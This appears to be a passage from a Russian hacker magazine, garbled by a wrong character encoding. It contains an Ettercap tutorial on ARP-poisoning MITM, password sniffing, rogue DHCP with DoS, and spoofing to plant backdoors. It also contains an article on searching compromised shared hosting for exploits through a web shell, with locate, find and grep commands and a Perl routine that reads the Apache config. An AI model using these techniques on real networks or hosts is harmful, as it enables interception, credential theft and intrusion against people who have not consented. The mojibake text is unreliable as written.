ìîæåøü âûáèðàòü âðàæåñêèå àäðåñà, çàïóñêàòü<br />

ïëàãèíû (åñëè òâîé ettercap èõ ïîääåðæèâàåò, ÷òî<br />

â áîëüøèíñòâå ñëó÷àåâ òàê è åñòü), âûïîëíÿòü ðàçëè÷íûå<br />

êîìàíäû. Æìè êíîïêó 'h' è ïîëó÷èøü<br />

ñïðàâêó î âîçìîæíûõ ôóíêöèÿõ ïðîãðàììû íà<br />

ýòîì óðîâíå. Ïî÷òè âî âñåõ ñëó÷àÿõ òåáå íåîáõîäèìî<br />

âûáðàòü àäðåñà, ñ êîòîðûìè òû áóäåøü ðàáîòàòü.<br />

Ëåâàÿ êîëîíêà - source, ïðàâàÿ - destina-<br />

Ðèñóíîê 1<br />

1 2 3 4<br />

58 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Àòàêà MITM<br />

Ïðè çàïóñêå ïîääåëüíîãî<br />

DHCP ñåðâåðà, ìåæäó íèì è<br />

íàñòîÿùèì ñåðâåðîì íà÷íåòñÿ<br />

áîðüáà çà ïðèñâîåíèå IP<br />

àäðåñîâ. Åñëè ïîääåëüíûé<br />

ñåðâåð "ïîáåäèò", òî âçëîìùèê<br />

ñìîæåò óñòàíîâèòü êëèåíòàì<br />

íåîáõîäèìûå äëÿ íåãî<br />

õàðàêòåðèñòèêè, íàïðèìåð,<br />

ïåðåíàïðàâëåíèå òðàôèêà<br />

÷åðåç ìàøèíó õàêåðà, íà êîòîðîé<br />

óñòàíîâëåí àíàëèçàòîð<br />

ïàêåòîâ. Íà äàííîì ýòàïå,<br />

äëÿ óñòàíîâëåíèÿ êîíòðîëÿ<br />

íàä ñåòüþ è ëèêâèäàöèè<br />

íàñòîÿùåãî ñåðâåðà, öåëåñîîáðàçíî<br />

âûâåñòè åãî èç<br />

ñòðîÿ (íàïðèìåð, ïðè ïîìîùè<br />

DoS/DDoS àòàê).<br />

tion. Ñåëåêò è äåñåëåêò ïðîèçâîäèòñÿ êíîïêàìè<br />

è . Äàëåå ñëåäóåò âûáðàòü ìåòîä<br />

ñíèôèíãà. Ettercap ïðåäëàãàåò öåëûõ òðè, ÿ ðàññêàæó<br />

î êàæäîì â îòäåëüíîñòè. (ðèñóíîê 2)<br />

ÑÍÈÔÈÍÃ<br />

Èòàê, ðàçáîð ìåòîäîâ ñíèôèíãà:<br />

1) , ARP poisoning based sniffing, ïðèìåíÿåòñÿ<br />

äëÿ ñíèôèíãà â ñâè÷óåìûõ ñåòÿõ, à òàêæå äëÿ ïðèìåíåíèÿ<br />

àòàê êëàññà MITM.  äàííîì ñëó÷àå èñïîëüçóåòñÿ<br />

àòàêà arpoison, ìîäèôèöèðóþùàÿ ARPòàáëèöû<br />

çàðàæàåìûõ õîñòîâ òàêèì îáðàçîì, ÷òî<br />

âñå êàäðû äàííûõ ñ âûáðàííîãî source èäóò íà<br />

òâîé õîñò, à ñ òâîåãî - óæå íà destination. Íåïëîõî<br />

ïðèäóìàíî, äà?<br />

Ïðîáëåìû â îñóùåñòâëåíèè àòàêè ïîñðåäíèêà.<br />

Îäíîé èç ïðîáëåì ÿâëÿåòñÿ òî, ÷òî äàííàÿ àòàêà<br />

(MITM), âîçìîæíî, íå ñðàáîòàåò â íåáîëüøèõ ñåòÿõ.<br />

MITM íå áóäåò ôóíêöèîíèðîâàòü, åñëè êëèåíò<br />

help-îêîøêî ïðîãðàììû ettercap<br />

ïîëó÷èò îòâåò íà çàïðîñ ñî ñòàðîãî IP.<br />

Åñëè íàñòîÿùèé DHCP ñåðâåð ñìîæåò<br />

óäîâëåòâîðèòü çàïðîñ íà êîíêðåòíûé<br />

àäðåñ, NIC ïðèñâîèò ïðåäûäóùèé àäðåñ,<br />

à íå ïðåäëîæåííûé ïîääåëüíûì<br />

ñåðâåðîì. Åäèíñòâåííûé ñïîñîá, ïðè<br />

êîòîðîì âîçìîæíî ïðèñâîåíèå àäðåñà<br />

ïîääåëüíûì ñåðâåðîì, - ýòî ñëó÷àé,<br />

êîãäà çàïðîøåííûé àäðåñ íåâîçìîæåí<br />

ó ðåàëüíîãî DHCP ñåðâåðà (íàïðèìåð,<br />

åñëè àäðåñ óæå áûë ïðèñâîåí äðóãîìó<br />

èíòåðôåéñó). Àòàêó ïîñðåäíèêà ìîæíî<br />

îñóùåñòâèòü ïðè ïîìîùè êàê íàøåé<br />

ëþáèìîé ettercap, òàê è ïðè èñïîëüçîâàíèè<br />

DSniff, çàäåéñòâîâàâ ôóíêöèþ<br />

ARP poisoning.<br />

Èíûìè ñëîâàìè, ñ ïîìîùüþ ýòîãî ìåòîäà<br />

ñíèôèíãà òû ñìîæåøü âèäåòü ëþáîé<br />

òðàôèê òâîåãî ñåãìåíòà çà ïðåäåëàìè<br />

êàêèõ áû òî íè áûëî îãðàíè÷èâàþùèõ<br />

òåáÿ ñâè÷åé. Òû òàêæå ñìîæåøü<br />

ïðîâîäèòü ëþáûå mitm-àòàêè ðîâíî ñ<br />

òîé æå ñèëîé, áóäòî òû íà ñàìîì äåëå<br />

áûë ïîñåðåäèíå äâóõ õîñòîâ. Íà îñíîâå<br />

ýòîãî ìåòîäà óæå ñ âåðñèè 0.6.7<br />

ettercap ðåàëèçóåò ïåðåõâàò (dissection)<br />

ïàðîëåé ïðîòîêîëîâ ssh1 è https. Ìîæíî äàæå<br />

ñíèôàòü ïàðîëè â ssh âåðñèè 2, åñëè ïîäêëþ÷èòü<br />

ôèëüòð (ettercap -F etter.filter.ssh), êîòîðûé áóäåò<br />

ñïóôèòü ssh-ñåðâåðà ñ 1.99 (openssh-0.9.6, etc) íà<br />

1.51, ïîääåðæèâàþùèõ ëèøü ïåðâóþ âåðñèþ ïðîòîêîëà<br />

ssh.<br />

Î÷åâèäíî, ÷òî äëÿ ïðîâåäåíèÿ àòàêè arpoison,<br />

ettercap'ó íåîáõîäèìî íàãàäèòü â ñåòü öåëîé ïà÷êîé<br />

ëîæíûõ ARP-ïàêåòîâ, è ÿ ïî÷òè óâåðåí, ÷òî<br />

óæå åñòü ñðåäñòâà, îòëàâëèâàþùèå ýòó àòàêó. È óæ<br />

òåáå ðåøàòü, êàê îò ýòîãî ñïàñàòüñÿ. Ìîæíî, íàïðèìåð,<br />

ââîäèòü ëîæíûé IP-àäðåñ.<br />

2-3) , IP based sniffing, , MAC based sniffing<br />

- ýòî îáû÷íûå ìåòîäû ïàññèâíîãî ñíèôèíãà<br />

ëîêàëüíîé ñåòè. Âîçìîæíîñòè òàêîãî ñíèôèíãà îãðàíè÷åíû,<br />

õîòÿ ìåíÿ âïå÷àòëèëî êîëè÷åñòâî ïîääåðæèâàåìûõ<br />

ïðîòîêîëîâ ïðè îòíîñèòåëüíî íåáîëüøîì<br />

ðàçìåðå ïðîãðàììû.<br />

Íàïèõàâ íóæíûå àäðåñà â source, destination èëè â<br />

îáà ñðàçó (ÿ âûáðàë 192.168.0.200 â êà÷åñòâå<br />

Ðèñóíîê 2<br />

source), âûáèðàé ìåòîä ñíèôèíãà (íàïðèìåð,<br />

), òû ïîïàäåøü â ñîîòâåòñòâóþùåå îêíî è áóäåøü<br />

âèäåòü âñå èíòåðåñóþùèå òåáÿ ñîåäèíåíèÿ.<br />

Äëÿ òîãî ÷òîáû ñîáèðàòü ïàðîëè, âîîáùå íè÷åãî<br />

íå íàäî äåëàòü =)). Íàâåäè êóðñîð íà íóæíîå òåáå<br />

ñîåäèíåíèå: ïàðîëè áóäóò ïîÿâëÿòüñÿ â íóæíîé<br />

÷àñòè ýêðàíà. Ñáðîñ ïàðîëåé â ëîã - êíîïêà .<br />

Íàæìè íà êíîïêó è óâèäèøü íîâûé äèàïàçîí<br />

âñÿêèõ ôóíêöèé. Óâåðåí, îí òåáÿ âïå÷àòëèò: óáèéñòâî<br />

ñîåäèíåíèé, õàéäæåêèíã, ôèëòåðèíã, etc...<br />

×òî åùå íóæíî õàêåðó? =)<br />

ÐÓËÅÑÛ<br />

Âîçìîæíîñòè ïðîãðàììû ettercap îãðîìíû, íî,<br />

ñêîðåå âñåãî, îíè íå óñòðîÿò òåáÿ íà âñå ñòî. Íó<br />

÷òî æå, äëÿ òâîèõ çëîáíûõ öåëåé ïðåäóñìîòðåíû<br />

âàðèàíòû:<br />

1) Íàïèñàíèå ïëàãèíîâ. Òóò âñå ïðîñòî è ïîíÿòíî:<br />

íå âëåçàÿ â êèøêè ettercap'a, ðþõàåøü ïëàãèííûé<br />

èíòåðôåéñ ýòîé ïðîãè è äåëàåøü íóæíûé òåáå<br />

êîìïîíåíò, êîòîðûé ìîæíî ïîäãðóæàòü â ïðîãðàììó<br />

âñÿêèé ðàç, êîãäà òåáå ýòî íåîáõîäèìî. Ïèøóòñÿ<br />

òàêèå ïëàãèíû íà ñÿõ, ò.ê. ñàìà ïðîãðàììà íàïèñàíà<br />

òîæå íà íåì.<br />

2) Âîçìîæíîñòü bind'èòü local port, ñ êîòîðûì<br />

ettercap ïðîàññîöèèðóåò íóæíîå òåáå ñîåäèíåíèå.<br />

Ýòî î÷åíü öåííîå ñâîéñòâî ïðîãðàììû: òû ñìîæåøü<br />

çàðàíåå ðåàëèçîâàòü íóæíûå òåáå ìåõàíèçìû,<br />

âîñïðîèçâåñòè êîòîðûå â ðåàëüíîì âðåìåíè<br />

âåñüìà çàòðóäíèòåëüíî ;). Ïðîùå ãîâîðÿ, ïîÿâëÿåòñÿ<br />

âîçìîæíîñòü, íàïðèìåð, âëåçàòü â ÷óæèå<br />

IRC-ïðèâàòû. Â ïðèíöèïå, ýòî ìîæíî ñäåëàòü è<br />

ðóêàìè, íî åñëè òû çàõî÷åøü âïàðèòü êîìó-íèáóäü<br />

áýêäîð, ïðîñïóôèâ http èëè ftp, èëè ñîîáùèòü êàêîìó-íèáóäü<br />

áèðæåâîìó èãðîêó, ÷òî åãî àêöèè<br />

óïàëè â öåíå â ÷åòûðå ðàçà, òî òàêîå ñâîéñòâî<br />

ïðîãðàììû ìîæåò îêàçàòüñÿ âåñüìà êñòàòè.<br />

ÍÅ ÐÓËÅÑÛ :)<br />

<br />

Îíè òîæå åñòü, à êóäà æå áåç íèõ? È èõ, ïîæàëóé,<br />

äàæå áîëüøå, ÷åì âêóñíîñòåé.<br />

1) Âèíäîâûé ïîðò ïðîãðàììû, ìÿãêî ãîâîðÿ, äàëåê<br />

îò ñîâåðøåíñòâà. Â ýòîì âèíà ðåàëèçàöèè<br />

POSIX'îâîé ìóëüòèçàäà÷íîñòè cygwin'à, äåáèëüíîé<br />

ñåòåâîé ÷àñòè è ìíîæåñòâà ìèíîðíûõ ìîìåíòîâ,<br />

ñâÿçàííûõ ñ ïîðòèðîâàíèåì ñîôòà. Äàæå â ìîåé<br />

win2k, ñèñòåìå êîíäîâîé è êðåïêîé, ettercap ðàáîòàåò<br />

íåñòàáèëüíî... Íî ïðî íèêñû ÿ íå ãîâîðþ,<br />

òàì, åñòåñòâåííî, âñå ïðîñòî ñóïåð =).<br />

2) Åñëè òû íå ïðîãðàììèñò (ïðèíöèïèàëüíî, êàê<br />

îäèí ìîé çíàêîìûé, èëè ïðîñòî îò íåæåëàíèÿ/íåóìåíèÿ),<br />

òî òåáå ïðèäåòñÿ çàáûòü î âîçìîæíûõ<br />

âêóñíîñòÿõ ettercap'à è äîâîëüñòâîâàòüñÿ äåôîëòíûì<br />

ñîäåðæèìûì, îæèäàÿ îáíîâëåíèÿ ïðîãðàììû.<br />

3) Äðóãîé ìîé çíàêîìûé èç Ñâåðäëîâñêà óæå<br />

îïóáëèêîâàë ïàò÷ ê ÿäðó linux-2.4 (Ôîðáèêè îíëàéí<br />

:)) ïðîòèâ àòàêè arpoison. Îñòàåòñÿ íàäåÿòüñÿ,<br />

÷òî â Windows ýòî èñïðàâÿò íå ñêîðî, íî âñå<br />

ðàâíî äíè arpoison óæå ñî÷òåíû... Î ïàò÷å ê ÿäðó<br />

linux-2.4 òû ìîæåøü ïðî÷åñòü íà ñîîòâåòñòâóþùèõ<br />

ñàéòàõ. Ñàì ettercap ñêà÷èâàé îòñþäà: http://ettercap.sourceforge.net/.<br />

Âîò, â îáùåì-òî, è âñå. Ðàçáèðàéñÿ<br />

ñ ïðîãðàììîé, ïèøè ê íåé ïëàãèíû. Êòî<br />

çíàåò, ìîæåò, èìåííî òâîè ðàçðàáîòêè áóäóò äîáàâëåíû<br />

â íîâûå âåðñèè ettercap.<br />

Óäà÷è òåáå, êîëëåãà, ïóñòü ñåòü áîèòñÿ òåáÿ!!! :)<br />

5 6 7 8 9<br />

Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 59


Âçëîì<br />

 ÏÎÈÑÊÀÕ ÝÊÑÏËÎÈÒÎÂ<br />

Äìèòðèé Äîêó÷àåâ aka Forb (forb@real.xakep.ru)<br />

Íî íå áóäåì óãëóáëÿòüñÿ â èñòîðèþ, à âåðíåìñÿ ê<br />

ðåàëüíîñòè. Îçàäà÷èì ñåáÿ âîïðîñîì: îòêóäà áåðóòñÿ...<br />

ñïëîèòû? Íåò, êîíå÷íî, èõ ïðèäóìûâàþò<br />

èññëåäîâàòåëè *nix, win ïëàòôîðì, íî ÷òî äàëüøå?<br />

Äîñòàòü ñïëîèòû ìîæíî äâóìÿ ñïîñîáàìè.<br />

Ïåðâûé: ñòðåéäèòü èõ íà IRC. Ó ýòîãî ñïîñîáà<br />

åñòü ñâîè ïëþñû è ìèíóñû. Îí áûë îïèñàí â íåäàâíåì<br />

âûïóñêå Õàêåðà, ïîýòîìó îñòàíàâëèâàòüñÿ<br />

íà íåì íå áóäó. Îñîáûé èíòåðåñ ïðåäñòàâëÿåò<br />

äðóãîé âàðèàíò, íîñÿùèé ñóãóáî ëè÷íûé õàðàêòåð,<br />

òî åñòü èñõîä åãî çàâèñèò òîëüêî îò òåáÿ =). È òû<br />

òî÷íî íå áóäåøü íàäóò çëûì ðèïïåðîì èç çàáóãîðüÿ.<br />

Íî òåáå ïîíàäîáèòñÿ ñìåêàëêà, ñíîðîâêà è<br />

÷óòü-÷óòü òåðïåíèÿ, è ïîâåðü, òû äîáüåøüñÿ óñïåõà.<br />

Íå áóäó òåáÿ òîìèòü, ýòîò ñïîñîá çàêëþ÷àåòñÿ<br />

â ïîèñêå àðõèâîâ ñïëîèòîâ íà áîëüøèõ õîñòèíãàõ.<br />

Ïîèñê, ïîèñê è åùå ðàç ïîèñê. Íåêîòîðûå ìîãóò<br />

óäèâèòüñÿ è ñêàçàòü, ÷òî íàéòè âñå ýòî äîáðî<br />

ìîæíî âñåãî îäíîé êîìàíäîé: locate xploit. Íî àäìèíû<br />

íàðîä ãóìàííûé è óâàæàþò ñîêðîâåííûå<br />

ôàéëû ñâîèõ þçåðîâ (âîò óæ íå ñêàçàë áû :) -<br />

ïðèì. ðåä.), ïîýòîìó äîñòóï ê locate è åå áàçå,<br />

ñêîðåå âñåãî, áóäåò çàïðåùåí. Ðóòà íà õîñòèíãîâîì<br />

ñåðâåðå ó òåáÿ òîæå íàâåðíÿêà íå áóäåò, ýòî<br />

îáóñëàâëèâàåòñÿ äâóìÿ ïðè÷èíàìè:<br />

1) Íîâîé ñèñòåìîé, óñòàíîâëåííîé íà ñåðâåðå.<br />

2) Ôàåðâîëîì, êîòîðûé çàêðûâàåò âñå ïîðòû,<br />

êðîìå ftp, web è mail-ñåðâèñîâ.<br />

Îòñþäà âûâîä, ÷òî èñêàòü áóäåì ÷åðåç âåá-øåëë,<br />

íó èëè åñëè î÷åíü ïîâåçåò (â ñëó÷àå îòñóòñòâèÿ 2-<br />

Ý Ê Ñ Ï Ë Î È Ò Î Â<br />

ãî ïóíêòà), òî ÷åðåç ðåàëüíûé øåëë. ß ïîïûòàþñü<br />

ðàññìîòðåòü âñå âîçìîæíûå âàðèàíòû ïîèñêà, ñ<br />

êîòîðûìè ìíå ïðèõîäèëîñü ñòàëêèâàòüñÿ. Íàäåþñü,<br />

÷òî õîòü îäèí èç íèõ áóäåò àêòóàëåí íà òâîåì<br />

õîñòèíãå.<br />

Âî-ïåðâûõ, òâîÿ çàäà÷à ñîñòîèò â ïîèñêå æåðòâû<br />

è âîçìîæíîñòè äîñòóïà ê cgi-ñêðèïòó, ïîçâîëÿþùåìó<br />

âûïîëíÿòü êîìàíäû ÷åðåç web. ][ íå ðàç ïèñàë<br />

îá ýòîì, òàê ÷òî ïîäíèìàé ñòàðûå íîìåðà è<br />

÷èòàé. Êîãäà ýòà çàäà÷à âûïîëíåíà, òû ìîæåøü<br />

ïîïûòàòüñÿ íàéòè è ñêà÷àòü íîâûå ñïëîèòû. Êàê<br />

ýòî ñäåëàòü, ÷èòàé íèæå.<br />

ÏÎÈÑÊ<br />

1. Free Locate<br />

Ñàìûé áàíàëüíûé ñïîñîá: íà<br />

õîñòèíãå äîñòóïíà êîìàíäà<br />

locate, è ó òåáÿ åñòü ïðàâà webñåðâåðà.<br />

Ïî íåïèñàíûì çàêîíàì,<br />

âñå ôàéëû, ëåæàùèå íà<br />

âåáå äîñòóïíû äëÿ ÷òåíèÿ uid'ó,<br />

ïîä êîòîðûì çàïóùåí àïà÷, òàê<br />

÷òî ñëîæíîñòü çàäà÷è çàêëþ÷àåòñÿ<br />

ëèøü â âåðíîì âûáîðå<br />

øàáëîíà äëÿ ïîèñêà. Ïðèâåäó<br />

íåñêîëüêî òàêèõ øàáëîíîâ:<br />

hack*<br />

xploit*<br />

sploit*<br />

wu*<br />

Â<br />

ÏÎÈÑÊÀÕ<br />

0day*<br />

rootkit*<br />

7350*<br />

Èùåì ñ ïîìîùüþ locate<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

ØÒÓÐÌÓÅÌ ÕÎÑÒÈÍÃÈ ÏÎÈÑÊÎÂÛÌÈ ÇÀÏÐÎÑÀÌÈ<br />

 íàñòîÿùåå âðåìÿ ïî íåïîíÿòíûì ïðè÷èíàì õîðîøèõ ýêñïëîèòîâ â public èñòî÷íèêàõ ñòàíîâèòñÿ âñå ìåíüøå è ìåíüøå.<br />

È ñàìîå íåïðèÿòíîå, õîäÿò ñëóõè, ÷òî ó èíîñòðàííûõ òðåéäåðîâ ïðîáëåì ñî ñâåæèìè ñïëîèòàìè íåò. Òî ëè èì äàëè<br />

óñòàíîâêó íå òîðãîâàòü ñ ðóññêèìè, òî ëè íàøè õàêåðû äåðæàò èõ ïîä äåñÿòüþ çàìêàìè è íè â êîåì ñëó÷àå íå äàþò â ðóêè<br />

îáû÷íûì ëþäÿì, à òåì áîëåå ïàáëèê-õðàíèëèùàì (÷òî ïðèâåäåò ê ïîòåðå àêòóàëüíîñòè íîâîé áàãè è íåâîçìîæíîñòè<br />

äàëüíåéøåãî èñïîëüçîâàíèþ ñïëîèòà). Åñëè òû ÷òî-íèáóäü çíàåøü îá èñòîðèè ñïëîèòîâ, âñïîìíè íåäàâíèé áàã ñ<br />

ssl_mod. Íå ïîÿâèñü îí íà ïàáëèêå, íàâåðíÿêà îñòàëîñü áû ìíîãî óÿçâèìûõ ñåðâåðîâ...<br />

7350 - öèôðû, ïîêàçûâàþùèå, ÷òî äàííûé ñïëîèò<br />

îò êîìàíäû TESO. Ñ îñòàëüíûìè øàáëîíàìè, ÿ<br />

äóìàþ, âîïðîñîâ íå âîçíèêíåò. Âûâîä ðàáîòû<br />

locate ëó÷øå âñåãî çàïèñûâàòü â ôàéë ñ ïåðåíàïðàâëåíèåì<br />

òèïà ">>", ÷òîáû âñÿ íàéäåííàÿ èíôà<br />

ñáðàñûâàëàñü â îäíó êó÷ó.<br />

Ïðèìåð êîìàíäû:<br />

$ locate rootkit* >> /tmp/locate.log<br />

Ïîçäðàâëÿþ, ïîèñê çàâåðøåí, ìîæåøü ñìåëî ïåðåõîäèòü<br />

ê ïðîñìîòðó îáíàðóæåííûõ ñïëîèòîâ.<br />

1 2 3 4<br />

60 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


2. Free Find<br />

Óñëîæíÿåì çàäà÷ó. Ïóñòü òåáå äîñòóïíà êîìàíäà<br />

find, à íà äîìàøíèõ äèðåêòîðèÿõ ïî íåïîíÿòíûì<br />

ïðè÷èíàì ñòîèò àòðèáóò 755. ×òî íàì ýòî äàåò? Â<br />

ïåðâóþ î÷åðåäü, find áåç ïðîáëåì ñìîæåò öèêëè÷íî<br />

ïðîñìîòðåòü /home, ïðèäåòñÿ òîëüêî ïîäîæäàòü,<br />

òàê êàê ïîèñê ïî ôàéëîâîé ñèñòåìå çàíèìàåò<br />

áîëüøå âðåìåíè, ÷åì ïî áàçå. Íî ðåøåíèå<br />

ýòîé çàäà÷è ïîõîæå íà ïðåäûäóùåå, ñ òîé ðàçíèöåé,<br />

÷òî â íàãðóçêó òåáå ïîíàäîáèòñÿ çíàíèå ôëàãîâ<br />

find è îòïðàâëåíèå ñàìîãî ïîèñêà â áýêãðàóíä,<br />

òàê êàê åñëè âåáñåðâåð çàâåðøèò ñîåäèíåíèå<br />

ñ òîáîé ïî òàéìàóòó, òî ñäîõíåò è ñàì ïðîöåññ<br />

find, ÷òî êðàéíå íåæåëàòåëüíî. Øàáëîíû äëÿ ïîèñêà<br />

îñòàþòñÿ ïðåæíèìè (êàê, âïðî÷åì, è äëÿ<br />

âñåõ ïðåäëîæåííûõ çäåñü çàäà÷).<br />

Ïðèìåð êîìàíäû:<br />

$ find -name hack* -type f -print >> /tmp/find.log &<br />

Íå ïóãàéñÿ ìíîãîñòðî÷íûõ âûâîäîâ ïðè ïîèñêå. Â<br />

äåñêðèïòîð STDERR áóäåò ïèñàòüñÿ òîëüêî èíôà<br />

îá îøèáêàõ, à âîò â ñàì /tmp/find.log - âñå íàéäåííûå<br />

ýêñïëîèòû.<br />

3. Permission denied<br />

Åùå óñëîæíèì çàäà÷ó, ïðèáëèçèâ åå ê ðåàëüíîñòè.<br />

Äîïóñòèì, åñòü äèðåêòîðèÿ /home, â íåé ðàñïîëîæåíû<br />

âñå ïîëüçîâàòåëè ñèñòåìû. Â èõ êàòàëîãàõ<br />

ñ html-ôàéëàìè, íàïðèìåð, â äèðåêòîðèÿõ<br />

public_html (/home/user/public_html), óñòàíîâëåíû<br />

ïðàâà 755. Íî âðó÷íóþ èñêàòü ïî âñåì ýòèì ïàïêàì<br />

(îñîáåííî åñëè îíè èñ÷èñëÿþòñÿ òûñÿ÷àìè)<br />

î÷åíü íàêëàäíî, ïîýòîìó äîâåðèì ýòî Perl'ó. Íàïèøåì<br />

ïðîãðàììêó, êîòîðàÿ áóäåò áåãàòü ïî âñåì<br />

âëîæåííûì ïàïêàì public_html è èñêàòü â íèõ<br />

ñïëîèòû ïðè ïîìîùè find. (òàáëèöà 1)<br />

Óäîñòîâåðüñÿ, ÷òî â ñèñòåìå åñòü wget, ÷òîáû òåáå<br />

íå ïå÷àòàòü âåñü ôàéë ïîñòðî÷íî. Êëàäåì ýòî<br />

òâîðåíèå â /tmp ñ êàêîãî-íèáóäü ñåðâåðà (ÿ íàäåþñü,<br />

òû ïîçàáîòèøüñÿ îá ýòîì ñàìîñòîÿòåëüíî),<br />

ñòàâèì íà ñêðèïò ïðàâà 755 è ïðîáóåì âûïîëíèòü<br />

åãî ñëåäóþùèì îáðàçîì:<br />

$ perl /tmp/locate.pl wu* locate_perl.log &<br />

Ïîèñêîâîé ñêðèïò â ðàáîòå<br />

×åðåç íåñêîëüêî ìèíóò âñå ðåçóëüòàòû find'à óïàäóò<br />

òåáå â /tmp/locate_perl.log. Îñòàåòñÿ òîëüêî<br />

åãî ïðîïàðñèòü è ïåðåéòè ê ñòÿãèâàíèþ ñïëîèòîâ.<br />

4. Inaccessible Find<br />

Ïðåäïîëîæèì, ÷òî â öåëÿõ áåçîïàñíîñòè<br />

àäìèí ñíÿë àòðèáóòû ñ find. Âñå. Òàêîå áûâàåò,<br />

è ÿ íå ðàç ñ ýòèì ñòàëêèâàëñÿ. Íî ýòî<br />

íå îçíà÷àåò, ÷òî òû íå ìîæåøü þçàòü êî-<br />

#!/usr/bin/perl<br />

Òàáëèöà 1<br />

## locate.pl


Âçëîì<br />

 ÏÎÈÑÊÀÕ ÝÊÑÏËÎÈÒÎÂ<br />

Äìèòðèé Äîêó÷àåâ aka Forb (forb@real.xakep.ru)<br />

ìàíäó find. Åñëè òû ïåðåíåñåøü áèíàðíèê ñ ïîõîæåé<br />

ïëàòôîðìû íà ñåðâåð õîñòèíãà, òî, âîçìîæíî,<br />

îí ó òåáÿ çàðàáîòàåò íå õóæå ïðåæíåãî. Òåïåðü ïîïðàâü<br />

â ñêðèïòå ïåðåìåííóþ $find, ÷òîáû îíà ññûëàëàñü<br />

íà ïðèíåñåííûé èçâíå áèíàðíèê, è ñìåëî<br />

çàïóñêàé óòèëèòó ïîèñêà.<br />

5. Inaccessible /home<br />

Äîïóñòèì, òåáå ïîïàëñÿ õîñòèíã, â êîòîðîì çàêðûò<br />

âåñü êàòàëîã /home. Òî åñòü âçÿòü ñïèñîê ïîëüçîâàòåëåé<br />

ñòàíîâèòñÿ íåâîçìîæíûì. Íî åñëè ïîñìîòðåòü<br />

ñ äðóãîé ñòîðîíû, òî ïîëüçîâàòåëè âñåãäà áóäóò<br />

ïðîïèñàíû â êîíôèãå àïà÷è, êîòîðûé, êàê ïðàâèëî,<br />

äîñòóïåí äëÿ ÷òåíèÿ è íàõîäèòñÿ â<br />

/etc/httpd/conf/httpd.conf (íà ñàìîì äåëå îí ìîæåò<br />

ëåæàòü ãäå óãîäíî, à ýòîò ïóòü óêàçàí äëÿ ïðåäóñòàíîâëåííîãî<br />

apache - ïðèì. ðåä.). Èç íåãî íàì èíòåðåñíû<br />

òîëüêî îïöèè DocumentRoot, çíà÷åíèÿìè êîòîðîé<br />

áóäóò êàòàëîãè ñ ôàéëàìè, âèäíûìè èç web'à.<br />

Çàäà÷à îïÿòü àíàëîãè÷íà ïðåäûäóùåé, íî ïðèäåòñÿ<br />

÷óòü-÷óòü ïîìåíÿòü ïðîöåäóðó init() â ñêðèïòå:<br />

sub init {<br />

my (@files);<br />

open(CONF,"/etc/httpd/conf/httpd.conf") || die<br />

"cant access to conf\n"; ## Îòêðûâàåì êîíôèã<br />

àïà÷è äëÿ ÷òåíèÿ, ëèáî çàâåðøàåì<br />

ñêðèïò<br />

while() { ## ×èòàåì åãî ïîñòðî÷íî<br />

if ($_=~/DocumentRoot/) { ## Åñëè âñòðå÷àåòñÿ<br />

DocumentRoot<br />

(undef,$file)=split ' '; ## Âûäèðàåì èç îïöèè<br />

çíà÷åíèå<br />

$file=~s/^\/home//g; ## Óäàëÿåì èç íåãî<br />

/home<br />

push(@files,$file); ## È ïîìåùàåì â @files<br />

êàê ýëåìåíò ìàññèâà<br />

}<br />

}<br />

close(CONF); ## Çàêðûâàåì êîíô<br />

return @files; ## È âîçâðàùàåì @files<br />

}<br />

Òàêèì îáðàçîì, ìåíÿÿ ëèøü ñïîñîá äîáû÷è<br />

@files, ìû îñòàâèëè ïðåæíèì ãëàâíûé ìîäóëü<br />

ñêðèïòà è âûïîëíèëè ïîèñê, ÷òî ãîâîðèò î ðåøåíèè<br />

ïîñòàâëåííîé çàäà÷è.<br />

6. Èñòèíà ãäå-òî... â ëîãàõ<br />

Îðèãèíàëüíûé ñïîñîá ïîèñêà - ïðîñìîòð ëîãîâ<br />

äîñòóïà web-ñåðâåðà. Êàê ýòî íè ïàðàäîêñàëüíî,<br />

íî îíè òàêæå äîñòóïíû äëÿ ÷òåíèÿ, è â íèõ ìîæíî<br />

íàéòè íà ðåäêîñòü èíòåðåñíûå îáðàùåíèÿ, ñîâïàäàþùèå<br />

ñ øàáëîíîì. Ïðîïàðñè httpd.conf è îòûùè<br />

òàì îáùèé ëîã apache. Åñëè òàêîé åñòü, òî,<br />

êîïàÿñü â íåì ïðîñòûì grep'îì, ìîæíî îòûñêàòü<br />

èíòåðåñíûå çàïðîñû è ïî íèì îïðåäåëèòü ìåñòîíàõîæäåíèå<br />

ýêñïëîèòîâ:<br />

$ grep hack access_log >> /tmp/logs.log<br />

Åñëè æå ëîãè ïèøóòñÿ ïî êàæäîìó âèðòóàëõîñòó è<br />

íàõîäÿòñÿ, íàïðèìåð, â<br />

/home/user/public_html/logs/access_log, òî, ñìåíèâ<br />

øàáëîí ïîèñêà íà access_log è çàþçàâ locate.pl,<br />

òû ìîæåøü îáðàáîòàòü êàæäûé ëîã ïî ñëåäóþùåìó<br />

øàáëîíó:<br />

$ grep 7350 `cat /tmp/locate.log` >> /tmp/logs.log<br />

7. Search in strange dirs<br />

Âîçìîæíî, êòî-òî óæå ïîðóòàë õîñòèíã äî òåáÿ.<br />

Âçëîìùèêè èíîãäà çàáûâàþò çàòèðàòü çà ñîáîé<br />

öåííûå ñïëîèòû è îñòàâëÿþò èõ â ïåðâîçäàííîì<br />

âèäå. Îáû÷íî îíè ëåæàò â ëåâûõ ïàïêàõ. ×òîáû<br />

íàéòè òàêèå, ïîñìîòðè äèðåêòîðèþ /tmp ñ ôëàãîì<br />

-la, ìîæåò áûòü òàì áóäåò ïàïî÷êà, ïîõîæàÿ íà<br />

"...". Ïî÷òè íàâåðíÿêà â íåé áóäóò ëåæàòü ýêñïëîèòû.<br />

Òàêæå ïðî÷åøè /dev è /lib íà ïðåäìåò ñõîæèõ<br />

äèðåêòîðèé:<br />

$ find /dev -type d -print<br />

Âåðîÿòíî, ÷òî è òàì îáíàðóæàòñÿ ñòðàííûå ïàïêè.<br />

Ïðîÿâè ñìåêàëêó, âîçìîæíî, òû çàâëàäååøü íå<br />

òîëüêî ýêñïëîèòàìè, íî è ñàìèì õîñòèíãîì.<br />

À ÅÑÒÜ ËÈ ÑÏËÎÈÒÛ?<br />

Âîçìîæíî, ïîèñê âåëñÿ çðÿ, è òû íè÷åãî íå íàøåë.<br />

